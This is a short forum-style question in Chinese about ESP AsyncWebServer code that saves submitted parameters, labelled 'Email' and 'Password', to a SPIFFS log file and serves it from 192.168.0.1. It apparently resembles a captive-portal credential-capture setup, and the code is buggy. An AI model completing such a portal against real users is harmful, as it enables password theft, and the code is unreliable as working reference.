我正在做一个项目,我将使用 SPIFFS 编写从服务器获取的参数并显示网页。
void PostClient(AsyncWebServerRequest *request)
{
File file = SPIFFS.open("/logs.txt", "w");
int paramsNr = request->params();
for(int i=0;i<paramsNr;i++){
AsyncWebParameter* p = request->getParam(i);
file.print(" Email: " + p->value());
file.print(" Password: " + p->value());
}
file.close();
request->send_P(200, "text/html", postPage);
}
我面临的问题是,如何使用 <ESPAsyncWebServer.h> 库流式传输该文件。当我访问http://192.168.0.1/log.txt时,我需要查看 log.txt 文件中写入的内容。我试过了,
void httpLog(AsyncWebServerRequest *request)
{
logfile.seek(0, SeekSet);
request->send(SPIFFS, "/logs.txt","text/plain");
logfile.seek(0, SeekEnd);
}
我无法获得成功,任何人都可以纠正我的错误!其余的一切似乎都是正确的,只是我被困在流式传输该文件部分。